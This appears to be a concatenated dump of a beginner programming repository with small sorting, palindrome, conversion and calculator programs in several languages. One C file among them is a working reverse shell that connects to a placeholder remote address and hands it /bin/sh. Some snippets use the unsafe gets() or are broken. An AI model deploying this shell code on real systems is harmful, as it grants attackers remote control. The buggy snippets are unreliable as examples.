2 | 3 | import "fmt" 4 | 5 | func insertionSort(a []int) { 6 | for i := 1; i < len(a); i++ { 7 | value := a[i] 8 | j := i - 1 9 | for j >= 0 && a[j] > value { 10 | a[j+1] = a[j] 11 | j = j - 1 12 | } 13 | a[j+1] = value 14 | } 15 | } 16 | 17 | func main() { 18 | list := []int{31, 41, 59, 26, 53, 58, 97, 93, 23, 84} 19 | fmt.Println("unsorted:", list) 20 | 21 | insertionSort(list) 22 | fmt.Println("sorted! ", list) 23 | } 24 | -------------------------------------------------------------------------------- /Ruby/insertion_sort.rb: -------------------------------------------------------------------------------- 1 | 2 | 3 | def insertion_sort(numbers) 4 | 5 | 0.upto(numbers.length - 1).each { |i| element = numbers[i]; position = i 6 | 7 | while element < numbers[position - 1] && position > 0 8 | numbers[position] = numbers[position - 1] 9 | numbers[position - 1] = element 10 | position -= 1 11 | end } 12 | 13 | numbers 14 | 15 | end 16 | 17 | puts "Enter a list of numbers seprated by space" 18 | 19 | list = gets.chomp! 20 | insertion_sort(list) 21 | print list 22 | -------------------------------------------------------------------------------- /C++/palindrome.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | int main() 5 | { 6 | char str1[20], str2[20]; 7 | int i, j, len = 0, flag = 0; 8 | cout << "Enter the string : "; 9 | gets(str1); 10 | len = strlen(str1) - 1; 11 | for (i = len, j = 0; i >= 0 ; i--, j++) 12 | str2[j] = str1[i]; 13 | if (strcmp(str1, str2)) 14 | flag = 1; 15 | if (flag == 1) 16 | cout << str1 << " is not a palindrome"; 17 | else 18 | cout << str1 << " is a palindrome"; 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /C/DipakGautam_PallindromeOrNot.c: -------------------------------------------------------------------------------- 1 | /*program to check pallindrome*/ 2 | 3 | #include 4 | 5 | #include 6 | 7 | #include"stdio.h" 8 | 9 | int main() 10 | 11 | { 12 | 13 | char s[25]; 14 | 15 | int i,j; 16 | 17 | printf("enter any string\n"); 18 | 19 | gets(s); 20 | 21 | for(i=0,j=strlen(s)-1;i<=j;i++,j--) 22 | 23 | if(s[i]!=s[j]) 24 | 25 | break; 26 | 27 | if(i>j) 28 | 29 | printf("string is pallindrome\n"); 30 | 31 | else 32 | 33 | printf("string is not pallindrome"); 34 | 35 | getch(); 36 | 37 | return 0; 38 | 39 | } -------------------------------------------------------------------------------- /C/KN_BubbleSort.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | void main() 4 | { 5 | int a[50],i,j,n,temp; 6 | clrscr(); 7 | printf("Enter limit:"); 8 | scanf("%d",&n); 9 | printf("Enter the elements:\n"); 10 | for(i=0;ia[j+1]) 17 | { 18 | temp=a[j]; 19 | a[j]=a[j+1]; 20 | a[j+1]=temp; 21 | } 22 | } 23 | } 24 | 25 | printf("\nThe elements after sorting:\n"); 26 | for(i=0;i 2 | #include 3 | 4 | int main() { 5 | char sentence[1000]; 6 | 7 | // creating file pointer to work with files 8 | FILE *fptr; 9 | 10 | // opening file in writing mode 11 | fptr = fopen("program.txt", "w"); 12 | 13 | // exiting program 14 | if (fptr == NULL) { 15 | printf("Error!"); 16 | exit(1); 17 | } 18 | printf("Enter a sentence:\n"); 19 | fgets(sentence, sizeof(sentence), stdin); 20 | fprintf(fptr, "%s", sentence); 21 | fclose(fptr); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /JAVA/Factorial.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Factorial { 3 | public static void main(String args[]) 4 | { 5 | Scanner sc=new Scanner(System.in); 6 | int n,i,fact=1; 7 | System.out.println("Enter a number:"); 8 | n=sc.nextInt(); 9 | for(i=1;i<=n;i++) 10 | { 11 | fact=fact*i; 12 | } 13 | System.out.println("Factorial:"+fact); 14 | } 15 | 16 | } 17 | 18 | class factorial 19 | { 20 | public static void main(String args[]) 21 | { 22 | int fact=1; 23 | for(int i=4;i>0;i--) 24 | { 25 | fact*=i; 26 | } 27 | System.out.print("fact"+fact); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /JAVA/Xhiel23_CatalanNumbers.java: -------------------------------------------------------------------------------- 1 | public class Xhiel23_CatalanNumbers{ 2 | public static void main(String[] args) { 3 | for(int i = 0; i<10;i++){ 4 | System.out.print(CatalanNumbers(i) + " "); 5 | } 6 | } 7 | 8 | 9 | public static int CatalanNumbers(int n){ 10 | int catalan = 0; 11 | 12 | if(n <=1){ 13 | catalan = 1; 14 | }else{ 15 | for(int i = 0; i x: 12 | r = mid-1 13 | 14 | else: 15 | l = mid +1 16 | 17 | return -1 18 | 19 | 20 | 21 | array = [2,4,5,6,7,9,10,23,53] 22 | 23 | item = 23 24 | 25 | result = binarySearch(array, 0, len(array)-1, item) 26 | 27 | 28 | if result != -1: 29 | print("number found at index",result) 30 | else: 31 | print("number not found") 32 | -------------------------------------------------------------------------------- /Cpp/String_Reverse_by_StringStream.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | void printWords(string str) 5 | { 6 | // word variable to store word 7 | string word; 8 | 9 | // making a string stream 10 | stringstream iss(str); 11 | 12 | // Read and print each word. 13 | while (iss >> word){ 14 | reverse(word.begin(),word.end()); 15 | cout< 2 | using namespace std; 3 | class comma 4 | { 5 | 6 | int n; 7 | public: 8 | void getel() 9 | { 10 | cout<<"enter n:"; 11 | cin>>n; 12 | } 13 | comma operator ,(comma q); 14 | }; 15 | comma comma::operator,(comma q) 16 | { 17 | n=q.n; 18 | return *this; 19 | } 20 | int main() 21 | { 22 | comma ob2,ob1,ob; 23 | cout<<"'ob1'\n"; 24 | ob1.getel(); 25 | cout<<"'ob2'\n"; 26 | ob2.getel(); 27 | ob=ob1,ob2; 28 | cout<<"\n' ob = ob1, ob2 ' gives value of 'n' in 'ob' as = "< 0; i-- { 7 | for j := 1; j < i; j++ { 8 | if numbers[j-1] > numbers[j] { 9 | intermediate := numbers[j] 10 | numbers[j] = numbers[j-1] 11 | numbers[j-1] = intermediate 12 | } 13 | } 14 | } 15 | return numbers 16 | } 17 | 18 | 19 | func main() { 20 | a := []int{2, 212, 3001, 14, 501, 7800, 9932, 33, 45, 45, 45, 91, 99, 37, 102, 102, 104, 106, 109, 106} 21 | fmt.Println(BubbleSort(a)) 22 | } 23 | -------------------------------------------------------------------------------- /Python/primeNumber_checker.py: -------------------------------------------------------------------------------- 1 | #checking if a number is a prime number or not 2 | try: 3 | num = int(input("Enter a number:")) 4 | if num>1: #prime numbers are always greater than 1 5 | for i in range(2,num): 6 | if (num % i) == 0: 7 | print(num, "is not a prime number") 8 | break 9 | else: #this works specifically for number "2" 10 | print(num, "is a prime number") 11 | 12 | elif num<1: 13 | print("Negative integers cannot be prime") 14 | else: 15 | print(num, "is not a prime number") 16 | except ValueError: 17 | print("Invalid Input!") -------------------------------------------------------------------------------- /Cpp/Tasfik_decimalToBinary.cpp: -------------------------------------------------------------------------------- 1 | // *** This Template was created by Tasfik Rahman *** 2 | #include 3 | #include 4 | using namespace std; 5 | int main() 6 | { 7 | int number; 8 | cout << "Enter a number: " << endl; 9 | cin >> number; 10 | int mask = 1; 11 | stack bits; 12 | while (number != 0) 13 | { 14 | int lastBit = (number & mask); 15 | bits.push(lastBit); 16 | number = number >> 1; 17 | } 18 | cout << "The binary form is: " << endl; 19 | while (!bits.empty()) 20 | { 21 | cout << bits.top(); 22 | bits.pop(); 23 | } 24 | return 0; 25 | } -------------------------------------------------------------------------------- /Cpp/Tasfik_isPalindrome.cpp: -------------------------------------------------------------------------------- 1 | // *** This Template was created by Tasfik Rahman *** 2 | #include 3 | #include 4 | using namespace std; 5 | 6 | bool isPalindrome(string text, int start, int end){ 7 | if(start>=end){ 8 | return true; 9 | } 10 | return text[start] == text[end] && isPalindrome(text,start+1,end-1); 11 | } 12 | 13 | int main() 14 | { 15 | string text; 16 | cout<<"Enter the text: "< 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define REMOTE_ADDR "XXX.XXX.XXX.XXX" 8 | #define REMOTE_PORT XXX 9 | 10 | int main(int argc, char *argv[]) 11 | { 12 | struct sockaddr_in sa; 13 | int s; 14 | 15 | sa.sin_family = AF_INET; 16 | sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); 17 | sa.sin_port = htons(REMOTE_PORT); 18 | 19 | s = socket(AF_INET, SOCK_STREAM, 0); 20 | connect(s, (struct sockaddr *)&sa, sizeof(sa)); 21 | dup2(s, 0); 22 | dup2(s, 1); 23 | dup2(s, 2); 24 | 25 | execve("/bin/sh", 0, 0); 26 | return 0; 27 | -------------------------------------------------------------------------------- /Python/decimal_to_binary.py: -------------------------------------------------------------------------------- 1 | #!/bin/python3 2 | 3 | import math 4 | import os 5 | import random 6 | import re 7 | import sys 8 | 9 | def DecimalToBinary(n): 10 | 11 | if(n>1): 12 | if(n%2==0): 13 | binary.append(0) 14 | DecimalToBinary(n/2) 15 | else: 16 | binary.append(1) 17 | n=n-1 18 | DecimalToBinary(n/2) 19 | elif(n==1): 20 | binary.append(1) 21 | 22 | else: 23 | binary.append(0) 24 | 25 | 26 | if __name__ == '__main__': 27 | n = int(input()) 28 | binary = [] 29 | DecimalToBinary(n) 30 | print(binary) 31 | conse(binary) 32 | 33 | -------------------------------------------------------------------------------- /C/sum of array.c: -------------------------------------------------------------------------------- 1 | #include 2 | #define MAX_SIZE 100 3 | 4 | int main() 5 | { 6 | int arr[MAX_SIZE]; 7 | int i, n, sum=0; 8 | 9 | /* Input size of the array */ 10 | printf("Enter size of the array: "); 11 | scanf("%d", &n); 12 | 13 | /* Input elements in array */ 14 | printf("Enter %d elements in the array: ", n); 15 | for(i=0; i 2 | #define MAX_SIZE 100 3 | 4 | int main() 5 | { 6 | int arr[MAX_SIZE]; 7 | int i, n, sum=0; 8 | 9 | /* Input size of the array */ 10 | printf("Enter size of the array: "); 11 | scanf("%d", &n); 12 | 13 | /* Input elements in array */ 14 | printf("Enter %d elements in the array: ", n); 15 | for(i=0; i 2 | using namespace std; 3 | 4 | int main() 5 | { 6 | int i, n; 7 | float arr[100]; 8 | 9 | cout << "Enter total number of elements(1 to 100): "; 10 | cin >> n; 11 | cout << endl; 12 | 13 | 14 | for(i = 0; i < n; ++i) 15 | { 16 | cout << "Enter Number " << i + 1 << " : "; 17 | cin >> arr[i]; 18 | } 19 | 20 | 21 | for(i = 1;i < n; ++i) 22 | { 23 | // Change < to > if you want to find the smallest element 24 | if(arr[0] < arr[i]) 25 | arr[0] = arr[i]; 26 | } 27 | cout << "Largest element = " << arr[0]; 28 | 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /JAVA/Deepak_StringPalindrome.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Solution{ 3 | public static void main(String[] args){ 4 | 5 | Scanner sc = new Scanner(System.in); 6 | 7 | // Taking String as a input.. 8 | 9 | String s = sc.next(); 10 | int j = s.length()-1; 11 | int i =0; 12 | int mid = s.length()/2; 13 | boolean is = true; 14 | while(i2, value->5) 9 | 10 | int Index_position = 2; 11 | int newValue = 5; 12 | 13 | System.out.println("Original Array : "+Arrays.toString(my_array)); 14 | 15 | for(int i=my_array.length-1; i > Index_position; i--){ 16 | my_array[i] = my_array[i-1]; 17 | } 18 | my_array[Index_position] = newValue; 19 | System.out.println("New Array: "+Arrays.toString(my_array)); 20 | } 21 | } 22 | 23 | -------------------------------------------------------------------------------- /Python/pandas: -------------------------------------------------------------------------------- 1 | Pandas is an open source Python package that provides numerous tools for data analysis. The package comes with several data structures that can be used for many different data manipulation tasks 2 | #importing pandas and matplotlib library 3 | import pandas as pd 4 | import matplotlib.pyplot as plt 5 | plt.style.use('ggplot') 6 | #loading dataset 7 | df = pd.read_csv("wheat.csv") 8 | print(df.columns) 9 | s1 = df[['area','perimeter']] 10 | print(s1.head()) 11 | s2 = df[['groove','asymmetry']] 12 | #printing first values 13 | print(s2.head()) 14 | s1.plot.hist(alpha=0.75) 15 | s2.plot.hist(alpha=0.75) 16 | #showing histogram plots 17 | plt.show() 18 | pd.DataFrame.var(s2.asymmetry) 19 | -------------------------------------------------------------------------------- /Javascript/rahuldahal_bubbleSort.js: -------------------------------------------------------------------------------- 1 | function bubbleSort (array, order) { 2 | let swapped = true; 3 | 4 | while (swapped) { 5 | swapped = false; 6 | for (let i = 0; i < array.length - 1; i++) { 7 | // if "order" is truthy, sort in descending order, else in ascending order. 8 | if (order ? (array[i] < array[i + 1]) : (array[i] > array[i + 1])) { 9 | [array[i], array[i + 1]] = [array[i + 1], array[i]]; // swapping the elements 10 | swapped = true; 11 | } 12 | } 13 | } 14 | 15 | return array; 16 | } 17 | 18 | console.log(bubbleSort([5, 4, 2, 9])); // ascending order 19 | console.log(bubbleSort([5, 4, 2, 9], "any truthy expression")); // descending order 20 | -------------------------------------------------------------------------------- /C++/imakshat47_vectorSort.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Vector-Sort 3 | Sample Input 4 | 5 5 | 1 6 10 8 4 6 | Sample Output 7 | 1 4 6 8 10 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | using namespace std; 16 | 17 | int main() 18 | { 19 | int n; 20 | scanf("%d", &n); 21 | 22 | vector vec(n); 23 | 24 | for (int i = 0; i < n; ++i) 25 | { 26 | scanf("%d", &vec[i]); 27 | } 28 | 29 | sort(vec.begin(), vec.end()); 30 | 31 | // To print values in vector 32 | for (auto i : vec) 33 | { 34 | printf("%d ", i); 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /Cpp/imakshat47_vectorSort.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Vector-Sort 3 | Sample Input 4 | 5 5 | 1 6 10 8 4 6 | Sample Output 7 | 1 4 6 8 10 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | using namespace std; 16 | 17 | int main() 18 | { 19 | int n; 20 | scanf("%d", &n); 21 | 22 | vector vec(n); 23 | 24 | for (int i = 0; i < n; ++i) 25 | { 26 | scanf("%d", &vec[i]); 27 | } 28 | 29 | sort(vec.begin(), vec.end()); 30 | 31 | // To print values in vector 32 | for (auto i : vec) 33 | { 34 | printf("%d ", i); 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /Cpp/vectorSort_imakshat47.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Vector-Sort 3 | Sample Input 4 | 5 5 | 1 6 10 8 4 6 | Sample Output 7 | 1 4 6 8 10 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | using namespace std; 16 | 17 | int main() 18 | { 19 | int n; 20 | scanf("%d", &n); 21 | 22 | vector vec(n); 23 | 24 | for (int i = 0; i < n; ++i) 25 | { 26 | scanf("%d", &vec[i]); 27 | } 28 | 29 | sort(vec.begin(), vec.end()); 30 | 31 | // To print values in vector 32 | for (auto i : vec) 33 | { 34 | printf("%d ", i); 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /C++/codeforces(Tavas and SaDDas).cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | #define IOS ios::sync_with_stdio(0); cin.tie(0); cout.tie(0); 4 | int main(){ 5 | long long int t,n; 6 | 7 | cin>>n; 8 | int rem; 9 | vectorv; 10 | while(n>0){ 11 | rem=n%10; 12 | if(rem==4){ 13 | v.push_back(0); 14 | }else{ 15 | v.push_back(1); 16 | } 17 | n/=10; 18 | } 19 | long long int res=0; 20 | for(int i=0;i values[j+1]: 20 | temp = values[j+1] 21 | values[j+1] = values[j] 22 | values[j] = temp 23 | 24 | # print's the sorted value 25 | for i in range(0, n): 26 | print(values[i], " ", end="") 27 | -------------------------------------------------------------------------------- /Dart/m-hamzashakeel.dart: -------------------------------------------------------------------------------- 1 | void main() { 2 | print("Dart Your Coding!"); 3 | 4 | // Addition 5 | int sumInt(int a, int b) { 6 | int c = a + b; 7 | return c; 8 | } 9 | 10 | // Subtraction 11 | int subInt(int a, int b) { 12 | int c = a - b; 13 | return c; 14 | } 15 | 16 | // Multiplication 17 | int mul(int a, int b) { 18 | int c = a * b; 19 | return c; 20 | } 21 | 22 | // Division 23 | double div(double a, double b) { 24 | double c = a / b; 25 | return c; 26 | } 27 | 28 | // Calling and printing the return values 29 | print("Sum: ${sumInt(5, 5)}"); 30 | print("Subtraction: ${subInt(8, 3)}"); 31 | print("Multiplication: ${mul(3, 5)}"); 32 | print("Division: ${div(16, 8)}"); 33 | } 34 | -------------------------------------------------------------------------------- /C/Leapyear.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() { 3 | int year; 4 | printf("Enter a year: "); 5 | scanf("%d", &year); 6 | 7 | // leap year if perfectly visible by 400 8 | if (year % 400 == 0) { 9 | printf("%d is a leap year.", year); 10 | } 11 | // not a leap year if visible by 100 12 | // but not divisible by 400 13 | else if (year % 100 == 0) { 14 | printf("%d is not a leap year.", year); 15 | } 16 | // leap year if not divisible by 100 17 | // but divisible by 4 18 | else if (year % 4 == 0) { 19 | printf("%d is a leap year.", year); 20 | } 21 | // all other years are not leap year 22 | else { 23 | printf("%d is not a leap year.", year); 24 | } 25 | 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /C/simple-calculator-sachin.c: -------------------------------------------------------------------------------- 1 | #include // include stdio.h library 2 | #include 3 | int main() 4 | { 5 | int a, b, result; 6 | char op; // to store the operator 7 | 8 | printf("Enter an expression: "); 9 | scanf("%d%c%d", &a, &op, &b); 10 | 11 | switch(op) 12 | { 13 | case '+': 14 | result = a + b; 15 | break; 16 | case '-': 17 | result = a - b; 18 | break; 19 | case '*': 20 | result = a * b; 21 | break; 22 | case '/': 23 | result = a / b; 24 | break; 25 | } 26 | 27 | printf("Result = %d", result); 28 | 29 | return 0; // return 0 to operating system 30 | } 31 | -------------------------------------------------------------------------------- /Cpp/Callbyref.cpp: -------------------------------------------------------------------------------- 1 | /* Instead of variable address is passed as an argument, any changes made in the child function reflect back 2 | in the parent function */ 3 | 4 | #include 5 | using namespace std; 6 | 7 | // function declaration 8 | void swap(int &x, int &y); 9 | 10 | int main () 11 | { 12 | // local variable declaration: 13 | int a = 100; 14 | int b = 200; 15 | 16 | cout << "Before swap, value of a :" << a << endl; 17 | cout << "Before swap, value of b :" << b << endl; 18 | 19 | /* calling a function to swap the values using variable reference.*/ 20 | swap(a, b); 21 | 22 | cout << "After swap, value of a :" << a << endl; 23 | cout << "After swap, value of b :" << b << endl; 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /JAVA/SquareRoot.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class SquareRoot { 4 | static Scanner input = new Scanner(System.in); 5 | 6 | public static void main(String [] args){ 7 | squareRoot(); 8 | } 9 | 10 | public static void squareRoot(){ 11 | System.out.println("Enter a number to get it's square root."); 12 | 13 | // The num variable holds a number supplied by the user. 14 | int num = input.nextInt(); 15 | 16 | // The sqrt method of the Math class calculates the square root of a number. 17 | float squareRoot = (float)Math.sqrt(num); 18 | 19 | System.out.println("The sqaure root of " + num + " is " + squareRoot); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /JAVA/ValidateEvenOdd.java: -------------------------------------------------------------------------------- 1 | import java.util.InputMismatchException; 2 | import java.util.Scanner; 3 | 4 | public class ValidateEvenOdd { 5 | public static void main(String[] args) { 6 | System.out.println("Enter a number to check"); 7 | try { 8 | Scanner scanner = new Scanner(System.in); 9 | int number = scanner.nextInt(); 10 | 11 | System.out.println(isEven(number) ? number + " is an even number" : number + " is a odd number"); 12 | }catch (InputMismatchException e) { 13 | System.out.println("Input type mismatch, Please enter an integer"); 14 | } 15 | } 16 | 17 | private static boolean isEven(int number) { 18 | return number % 2 == 0; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /C++/sujanp100_bubblesort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | void swap(int *a , int *b) { 3 | int temp = *a; 4 | *a = *b; 5 | *b = temp; 6 | } 7 | // bubble sort 8 | void bubbleSort(int arr[] , int n) { 9 | bool swapped; 10 | for(int i = 0; i < n - 1; i++) { 11 | swapped = false; 12 | for(int j = 0; j < n - i - 1; j++) { 13 | if(arr[j] > arr[j + 1]) { 14 | swap(&arr[j] , &arr[j + 1]); 15 | swapped = true; 16 | } 17 | } 18 | if(swapped == false) break; 19 | } 20 | } 21 | int main() { 22 | int arr[] = {5 , 2 , 4 , 6 , 1}; 23 | int n = 5; 24 | bubbleSort(arr , n ); 25 | for(int i = 0; i < n; i++) 26 | std::cout << arr[i] << " "; 27 | } 28 | -------------------------------------------------------------------------------- /Data_Structures/BinaryTree_LevelOrderTraversal.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | struct Node 4 | {int data; 5 | Node *left,*right;} 6 | void printlevelOrder(Node *root) 7 | {if(root==NULL) 8 | return; 9 | queueq; 10 | q.push(root); 11 | while(q.empty()==false) 12 | {Node *node=q.front(); 13 | cout<data<<" "; 14 | q.pop(); 15 | if(node->left!=NULL) 16 | q.push(node->left); 17 | if(node->right!=NULL) 18 | q.push(node->right);}} 19 | int main() 20 | {Node *root=newNode(1); 21 | root->left=newNode(2); 22 | root->right=newNode(3); 23 | root->left->left=newNode(4); 24 | root->left->right=newNode(5); 25 | cout<<"Level Order Traversal of binary tree is\n"; 26 | printLevelOrder(root); 27 | return 0;} 28 | -------------------------------------------------------------------------------- /C++/peak_find/peak_2d.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | 5 | int r=5,c=5; 6 | int arr[5][5]={{1,2,3,9,10}, 7 | {4,5,0,2,24}, 8 | {7,8,9,11,16}, 9 | {1,3,4,10,1}, 10 | {1,2,3,4,5} 11 | }; 12 | 13 | 14 | 15 | 16 | void peak_2d(int row,int col){ 17 | int mid=col/2,max=0,max_row; 18 | for(int i=0;i 4 | using namespace std; 5 | 6 | int main() 7 | { 8 | int t; 9 | scanf("%d", &t); 10 | 11 | while (t--) 12 | { 13 | int n; 14 | scanf("%d", &n); 15 | 16 | int A[n]; 17 | for (int i = 0; i < n; ++i) 18 | scanf("%d", &A[i]); 19 | 20 | int l = 1; 21 | 22 | for (int i = 1; i < n; ++i) 23 | { 24 | if (A[l - 1] <= A[i]) 25 | { 26 | A[l] = A[i]; 27 | ++l; 28 | } 29 | } 30 | 31 | for (int i = 0; i < l; i++) 32 | { 33 | printf("%d ", A[i]); 34 | } 35 | } 36 | 37 | return 0; 38 | } -------------------------------------------------------------------------------- /C++/luhn's_algorithm.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | bool checkLuhn(const string& cardNo) 5 | { 6 | int nDigits = cardNo.length(); 7 | 8 | int nSum = 0, isSecond = false; 9 | for (int i = nDigits - 1; i >= 0; i--) { 10 | 11 | int d = cardNo[i] - '0'; 12 | 13 | if (isSecond == true) 14 | d = d * 2; 15 | 16 | nSum += d / 10; 17 | nSum += d % 10; 18 | 19 | isSecond = !isSecond; 20 | } 21 | return (nSum % 10 == 0); 22 | } 23 | 24 | int main() 25 | { 26 | string cardNo = "79927398713"; 27 | if (checkLuhn(cardNo)) 28 | printf("This is a valid card"); 29 | else 30 | printf("This is not a valid card"); 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /C++/CountingSort/countingSort.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | template 4 | std::array countingSort(const std::array &array_to_sort) 5 | { 6 | std::array array_sorted; 7 | std::array tmp; 8 | 9 | for (unsigned int i = 0; i <= MAX; ++i) 10 | { 11 | tmp.at(i) = 0; 12 | } 13 | 14 | for (unsigned int i = 0; i < SIZE; ++i) 15 | { 16 | tmp.at(array_to_sort.at(i)) += 1; 17 | } 18 | 19 | for (unsigned int i = 1; i <= MAX; ++i) 20 | { 21 | tmp.at(i) += tmp.at(i-1); 22 | } 23 | 24 | for(int i = SIZE-1 ; i >= 0 ; --i) 25 | { 26 | array_sorted.at(--tmp.at(array_to_sort.at(i))) = array_to_sort.at(i); 27 | } 28 | 29 | return array_sorted; 30 | } -------------------------------------------------------------------------------- /Javascript/hrishikesh_javascript_quicksort.js: -------------------------------------------------------------------------------- 1 | var myArray = [9, -2, -7, 4, 8, 10, 18, -18]; 2 | 3 | function quickSort(unsortedArray) { 4 | if (unsortedArray.length <= 1) { 5 | return unsortedArray; 6 | } else { 7 | 8 | var left = []; 9 | var right = []; 10 | var newArray = []; 11 | var pivot = unsortedArray.pop(); 12 | var length = unsortedArray.length; 13 | 14 | for (var i = 0; i < length; i++) { 15 | if (unsortedArray[i] <= pivot) { 16 | left.push(unsortedArray[i]); 17 | } else { 18 | right.push(unsortedArray[i]); 19 | } 20 | } 21 | 22 | return newArray.concat(quickSort(left), pivot, quickSort(right)); 23 | } 24 | } 25 | console.log("Unsorted Array => " + myArray); 26 | var sortedArray = quickSort(myArray); 27 | console.log("Sorted Array => " + sortedArray); -------------------------------------------------------------------------------- /C++/string_palindrome.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | int main() 4 | { 5 | char str[100]; 6 | int i, length; 7 | int flag = 0; 8 | 9 | cout<<"\n Enter String : "; 10 | cin>>str; 11 | 12 | length = strlen(str); 13 | 14 | for(i=0;i < length ;i++) 15 | { 16 | if(str[i] != str[length-i-1]) 17 | { 18 | flag = 1; 19 | break; 20 | } 21 | } 22 | if(flag) 23 | { 24 | cout<<" "< 2 | using namespace std; 3 | 4 | int main(){ 5 | int numberDigits; 6 | cout << "How Many Digits Number Would you want to check : "; 7 | cin >> numberDigits; cout << endl; 8 | char number[numberDigits], number2[numberDigits]; 9 | cout << "Input your number : "; 10 | for(int i=1; i<=numberDigits; i++){ 11 | cin >> number[i]; 12 | } cout << endl; 13 | 14 | // change value inverse 15 | for(int i=1; i<=numberDigits; i++){ 16 | number2[i] = number[numberDigits+1-i]; 17 | } 18 | 19 | // Check number value 20 | for(int i=1; i<=numberDigits; i++){ 21 | if(number[i] != number2[i]) { cout << "This number is not palindrome"; return 0;} 22 | } 23 | cout << "This number palindrome"; return 1; 24 | } 25 | -------------------------------------------------------------------------------- /Cpp/xorArray.cpp: -------------------------------------------------------------------------------- 1 | // - by Imakshat47 2 | #include 3 | #include 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | int main() 9 | { 10 | int t; 11 | scanf("%d", &t); 12 | vector v; 13 | 14 | while (t--) 15 | { 16 | int type, num; 17 | scanf("%d %d", &type, &num); 18 | 19 | if (type == 1) 20 | { 21 | v.push_back(num); 22 | } 23 | else if (type == 2) 24 | { 25 | for (int i = 0; i < v.size(); ++i) 26 | { 27 | v[i] = num ^ v[i]; 28 | } 29 | } 30 | } 31 | 32 | sort(v.begin(), v.end()); 33 | 34 | for (auto x : v) 35 | { 36 | printf("%d ", x); 37 | } 38 | 39 | return 0; 40 | } -------------------------------------------------------------------------------- /C++/simonlariz_DecimalToBinary.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | void decimalToBinary(int num) 6 | { 7 | //Creation of array to store binary number 8 | int binaryArr[32]; 9 | //While loop for binary conversion 10 | int i = 0; 11 | while (num > 0) 12 | { 13 | //Remainder of num stored in array 14 | binaryArr[i] = num % 2; 15 | num /= 2; 16 | i++; 17 | } 18 | //Print array in reverse 19 | for (int j = i - 1; j >= 0; j--) 20 | cout << binaryArr[j]; 21 | } 22 | 23 | int main() 24 | { 25 | //Creation of input var 26 | int userNum; 27 | //Output for user 28 | cout << "Enter Decimal Number: "; 29 | cin >> userNum; 30 | decimalToBinary(userNum); 31 | //Terminate 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /Cpp/Imakshat47_binary2DecimalUsingInBuildFun.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Binary To Decimal Conversion 3 | 4 | Given a binary number as input, we need to write a program to convert the given binary number into an equivalent decimal number. 5 | 6 | Examples : 7 | 8 | Input : 111 9 | Output : 7 10 | 11 | Input : 1010 12 | Output : 10 13 | 14 | Input: 100001 15 | Output: 33 16 | */ 17 | #include 18 | using namespace std; 19 | 20 | int main() 21 | { 22 | 23 | // for test case 24 | int t; 25 | 26 | scanf("%d\n", &t); 27 | 28 | while (t--) 29 | { 30 | // main logic 31 | char str[100001]; 32 | 33 | scanf("%s", str); 34 | 35 | printf("%d\n", stoi(str, 0, 2)); 36 | } 37 | 38 | return 0; 39 | } -------------------------------------------------------------------------------- /insertionsort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | void insertionSort( int arr[], int n) 5 | { 6 | int x,j; 7 | for( int i = 1; i < n; i++) 8 | { 9 | x = arr[i]; 10 | j = i-1; 11 | 12 | while (arr[j] > x && j>-1) 13 | { 14 | arr[j+1] = arr[j]; 15 | j--; 16 | } 17 | arr[j+1] = x; 18 | } 19 | 20 | } 21 | 22 | 23 | int main(){ 24 | 25 | int n; 26 | cout<<"Enter size: \n"; 27 | cin>>n; 28 | int arr[n]; 29 | cout<<"Enter an array: \n"; 30 | for (int i = 0; i < n; i++) 31 | { 32 | cin>>arr[i]; 33 | } 34 | insertionSort(arr,n); 35 | cout<<"Sorted array is :\n"; 36 | for (int i = 0; i < n; i++) 37 | { 38 | cout< randNum){ 16 | alert("Your guess is too high"); 17 | inputNum = window.prompt("Enter a number: "); 18 | counter += 1; 19 | } 20 | } 21 | 22 | if(inputNum == randNum){ 23 | alert(`You won number was ${randNum}`); 24 | }else{ 25 | alert(`You lost number was ${randNum}`); 26 | } -------------------------------------------------------------------------------- /C++/insertionsort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() 6 | { 7 | int i,j,n,temp,a[30]; 